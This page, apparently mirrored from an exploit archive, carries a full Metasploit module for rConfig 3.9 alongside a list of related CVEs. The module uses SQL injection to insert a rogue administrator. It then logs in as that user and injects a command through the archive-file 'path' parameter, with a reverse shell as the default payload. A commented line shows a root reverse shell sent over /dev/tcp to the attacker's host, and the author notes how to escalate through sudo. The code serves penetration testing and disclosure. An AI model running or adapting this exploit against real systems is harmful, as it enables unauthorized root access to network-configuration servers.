Lucene search
K

Rconfig 3.x Chained Remote Code Execution Exploit

🗓️ 17 Mar 2020 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 278 Views

rConfig 3.x Chained Remote Code Executio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
rConfig 3.9.3 - Authenticated Remote Code Execution Exploit
30 Jan 202000:00
zdt
0day.today
rConfig 3.9 - (searchColumn) SQL Injection Exploit
12 Mar 202000:00
zdt
0day.today
rConfig 3.9.4 - (searchField) Unauthenticated Root Remote Code Execution Exploit
28 Mar 202000:00
zdt
GithubExploit
Exploit for OS Command Injection in Rconfig
2 Dec 201916:32
githubexploit
ATTACKERKB
CVE-2020-10547
4 Jun 202000:00
attackerkb
ATTACKERKB
CVE-2019-19585
8 Aug 201900:00
attackerkb
ATTACKERKB
CVE-2020-10548
4 Jun 202000:00
attackerkb
ATTACKERKB
CVE-2020-10549
4 Jun 202000:00
attackerkb
ATTACKERKB
CVE-2020-10546
4 Jun 202000:00
attackerkb
ATTACKERKB
CVE-2020-10220
7 Mar 202000:00
attackerkb
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
                      'Name' => 'Rconfig 3.x Chained Remote Code Execution',
                      'Description' => '
        This module exploits multiple vulnerabilities in rConfig version 3.9
        in order to execute arbitrary commands.
        This module takes advantage of a command injection vulnerability in the
        `path` parameter of the ajax archive file functionality within the rConfig web
        interface in order to execute the payload.
        Valid credentials for a user with administrative privileges are required.
        However, this module can bypass authentication via SQLI.
        This module has been successfully tested on Rconfig 3.9.3 and 3.9.4.
        The steps are:
          1. SQLi on /commands.inc.php allows us to add an administrative user.
          2. An authenticated session is established with the newly added user
          3. Command Injection on /lib/ajaxHandlers/ajaxArchiveFiles.php allows us to
             execute the payload.
          4. Remove the added admin user.
        Tips : once you get a shell, look at the CVE-2019-19585.
        You will probably get root because rConfig install script add Apache user to
        sudoers with nopasswd ;-)
      ',
                      'License'         => MSF_LICENSE,
                      'Author'          =>
        [
          'Jean-Pascal Thomas', # @vikingfr - Discovery, exploit and Metasploit module
          'Orange Cyberdefense' # Module tests - greetz : CSR-SO team (https://cyberdefense.orange.com/)
        ],
                      'References'      =>
        [
          ['CVE', '2019-19509'], # authenticated rce
          ['CVE', '2020-10220'], # sqli auth bypass
          %w[EDB 47982],
          %w[EDB 48208],
          ['URL', 'https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2019-19509.py'], # authenticated RCE
          ['URL', 'https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2020-10220.py']  # unauthenticated SQLi
        ],
                      'Platform'        => %w[unix linux],
                      'Arch'            => ARCH_CMD,
                      'Targets'         => [['Auto', {}]],
                      'Privileged'      => false,
                      'DisclosureDate'  => '2020-03-11',
                      'DefaultOptions'  => {
                        'RPORT' => 443,
                        'SSL'     => true, # HTTPS is required for the module to work because the rConfig php code handle http to https redirects
                        'PAYLOAD' => 'generic/shell_reverse_tcp'
                      },
                      'DefaultTarget' => 0))
    register_options [
      OptString.new('TARGETURI', [true, 'Base path to Rconfig', '/'])
    ]
  end

  # CHECK IF RCONFIG IS REACHABLE AND INSTALLED
  def check
    vprint_status 'STEP 0: Get rConfig version...'
    res = send_request_cgi!(
      'method' => 'GET',
      'uri' => '/login.php'
    )
    if !res || !res.get_html_document
      fail_with(Failure::Unknown, 'Could not check rConfig version')
    end
    if res.get_html_document.at('div[@id="footer-copyright"]').text.include? 'rConfig Version 3.9'
      print_good('rConfig version 3.9 detected')
      return Exploit::CheckCode::Appears
    elsif res.get_html_document.at('div[@id="footer-copyright"]').text.include? 'rConfig'
      print_status('rConfig detected, but not version 3.9')
      return Exploit::CheckCode::Detected
    end
  end

  # CREATE AN ADMIN USER IN RCONFIG
  def create_rconfig_user(user, _password)
    vprint_status 'STEP 1 : Adding a temporary admin user...'
    fake_id = Rex::Text.rand_text_numeric(3)
    fake_pass = Rex::Text.rand_text_alpha(10)
    fake_pass_md5 = '21232f297a57a5a743894a0e4a801fc3' # hash of 'admin'
    fake_userid_md5 = '6c97424dc92f14ae78f8cc13cd08308d'
    userleveladmin = 9 # Administrator
    user_sqli = "command ; INSERT INTO `users` (`id`,`username`,`password`,`userid`,`userlevel`,`email`,`timestamp`,`status`) VALUES (#{fake_id},'#{user}','#{fake_pass_md5}','#{fake_userid_md5}',#{userleveladmin}, '#{user}@domain.com', 1346920339, 1);--"
    sqli_res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/commands.inc.php'),
      'method' => 'GET',
      'vars_get' => {
        'search' => 'search',
        'searchOption' => 'contains',
        'searchField'  => 'vuln',
        'searchColumn' => user_sqli
      }
    )
    unless sqli_res
      print_warning('Failed to create user: Connection failed.')
      return
    end
    print_good "New temporary user #{user} created"
  end

  # AUTHENTICATE ON RCONFIG
  def login(user, pass)
    vprint_status "STEP 2: Authenticating as #{user} ..."
    # get session cookie (PHPSESSID)
    res = send_request_cgi!(
      'method' => 'GET',
      'uri' => '/login.php'
    )
    @cookie = res.get_cookies
    if @cookie.empty?
      fail_with Failure::UnexpectedReply, 'Failed to retrieve cookies'
      return
    end
    # authenticate
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/lib/crud/userprocess.php'),
      'cookie' => @cookie,
      'vars_post' => {
        pass: pass,
        user: user,
        sublogin: 1
      }
    )
    unless res
      print_warning('Failed to authenticate: Connection failed.')
      return
    end
    print_good "Authenticated as user #{user}"
  end

  def trigger_rce(cmd, _opts = {})
    vprint_status "STEP 3: Executing the command (#{cmd})"
    trigger = "`#{cmd} #`"
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, '/lib/ajaxHandlers/ajaxArchiveFiles.php'),
      'cookie' => @cookie,
      'vars_get' => {
        'path' => trigger,
        'ext' => 'random'
      }
    )
    # the page hangs because of the command being executed, so we can't expect HTTP response
    # unless res
    #  fail_with Failure::Unreachable, 'Remote Code Execution failed: Connection failed'
    #  return
    # end
    # unless res.body.include? '"success":true'
    #  fail_with Failure::Unknown, 'It seems that the code was not executed'
    #  return
    # end
    print_good 'Command sucessfully executed'
  end

  # DELETE A USER
  def delete_rconfig_user(user)
    vprint_status 'STEP 4 : Removing the temporary admin user...'
    del_sqli = "command ; DELETE FROM `users` WHERE `username`='#{user}';--"
    del_res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/commands.inc.php'),
      'method' => 'GET',
      'vars_get' => {
        'search' => 'search',
        'searchOption' => 'contains',
        'searchField'  => 'vuln',
        'searchColumn' => del_sqli
      }
    )
    unless del_res
      print_warning "Removing user #{user} failed: Connection failed. Please remove it manually."
      return
    end
    print_status "User #{user} removed successfully !"
  end

  def cleanup
    super
    delete_rconfig_user @username if @username
  end

  def exploit
    check
    @username = rand_text_alphanumeric(8..12)
    @password = 'admin'
    create_res = create_rconfig_user @username, @password
    login(@username, @password)
    tmp_txt_file = Rex::Text.rand_text_alpha(10)
    tmp_zip_file = Rex::Text.rand_text_alpha(10)
    # The following payload (cf. 2019-19585) can be used to get root rev shell, but some payloads failed to execute (ex : because of quotes stuffs). Too bad :-(
    # trigger_rce("touch /tmp/#{tmp_txt_file}.txt;sudo zip -q /tmp/#{tmp_zip_file}.zip /tmp/#{tmp_txt_file}.txt -T -TT '/bin/sh -i>& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1 #'")
    trigger_rce(payload.encoded.to_s)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation